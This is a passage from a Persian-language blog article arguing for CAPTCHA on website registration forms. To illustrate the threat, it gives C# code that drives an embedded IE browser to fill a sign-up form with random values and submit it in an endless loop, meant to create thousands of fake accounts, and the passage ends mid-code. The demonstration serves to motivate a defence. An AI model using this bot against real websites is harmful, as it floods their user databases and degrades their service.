ضرورت پیشگیری از حمله به وب سایت به کمک CAPTCHA
چهارشنبه 10 آذر 1389 5:15 AM
راه های بسیاری برای حمله کردن به یک وب سایت وجود دارد. از جمله SQL Injection، تزریق اسکریپت، ربودن session و... . در این زمینه ها شما مقالات بسیاری خواهید یافت که به تفصیل توضیحات زیادی دادهاند.
اما در این مقاله قصد داریم تا شما را با CAPTCHA یا همان Completely Automated Public Turing test to tell Computers and Humans Apart آشنا سازیم.
همانگونه که میدانید چنانچه شما در وب سایت خود صفحه ای مخصوص ثبت نام کاربران ایجاد کرده باشید، در صورتی که مکانیزمی برای شناسایی این که آیا استفاده کننده از برنامه یک انسان واقعی است یا یک نرم افزار فراهم نکرده باشید، این احتمال میرود که برخی نفوذگر ها با استفاده از نرم افزارهای موجود اقدام به ایجاد هزاران کاربر بنمایند! در این مقاله شرح خواهیم داد که چگونه ممکن است توسط یک برنامه، هزاران کاربر در یک وب سایت ایجاد نمود و بازدهی برنامه و پایگاه داده را کاهش داد.
برای ساخت چنین نرم افزاری، نیاز داریم تا یک برنامه تحت ویندوز ایجاد کرده و آن را اجرا کنیم. ما از یک کنترل COM به نام AxSHDocVw.AxWebBrowser همراه با MSHTML استفاده میکنیم که برای ما امکان استفاده از یک مرورگر IE همراه با مدل DOM در HTML را فراهم میکند.
در این مثال از اشیاء ACTIVEX زیر استفاده میکنیم
شما میتوانید این اشیاء را در پوشه windows/system32 کامپیوتر خود پیدا کنید
بریا طراحی و پیاده سازی برنامه مراحل زیر را طی خواهیم کرد:
• مرحله 1 – ربودن صفحه ثبت نام با استفاده از کنترل WebBrowser
• شناسایی فیلدهای مختلف فرم را در صفحه ثبت نام با استفاده از کنترل MSHTML میتوانیم
• ایجاد مقادیر تصادفی برای فیلدها
• ارسال مقادیر تولید شده به وب سایت برای ثبت نام
پس از انجام این مراحل میتوانیم دو مرحله آخر را به تعداد دلخواه انجام دهیم!
تصور کنید که این وب سایت دارای یک فرم ثبت نام با فیلدهای زیر و یک دکمه ارسال باشد
در برنامه تحت ویندوزی که نوشته ایم ، در رخداد Load برای فرم، این کد را مینویسیم :
private void Form1_Load(object sender, System.EventArgs e)
{
//get the registrations page URL
string url="http://localhost:8181/TestApplication1/Registration.aspx";
Object o = null;
//fetch the page to your web browser.
WebBrowser1.Navigate(url, ref o, ref o, ref o, ref o);
}
سپس برای دکمه ارسال فرم وب به سرور که روی فرم ویندوزی ما قرار دارد، این کد را مینویسیم:
private void btnRegisterClick_Click(object sender, System.EventArgs e)
{
// use the HTMLDocument interface of mshtml to simulate the registration process
mshtml.HTMLDocument obj;
string tempGuid,userId,firstName,LastName,password=string.Empty;
//execute an infinite loop
while(true)
{
try
{
//get the random values for this user
tempGuid=System.Guid.NewGuid().ToString();
userId=tempGuid.Substring(0,9);
firstName=tempGuid.Substring(3,12);
LastName=tempGuid.Substring(11,10);
password=tempGuid.Substring(10,8);
// assign the values to the form fields.
obj=(mshtml.HTMLDocument)WebBrowser1.Document;
obj.getElementById("txtUserId").innerText=userId;
obj.getElementById("txtFirstName").innerText=firstName;
obj.getElementById("txtLastName").innerText=LastName;
obj.getElementById("txtPassword").innerText=password;
obj.getElementById("txtConfirmPassword").innerText=password;
// find the submit button to post the information to the website
// execute the click of the submit button to post the information
obj.getElementById("btnSubmit").click();
// Note if you can't find the submit button
// by id then use the following approach
// find it by index in the entire HTMLDocument
/*
mshtml.HTMLInputElement objbut;
objbut=(mshtml.HTMLInputElement)obj.all.item("submit",0);
objbut.click();
*/
}
catch
{
// failed :(
// no problem we'll try again( try try until the site die ..)
}
}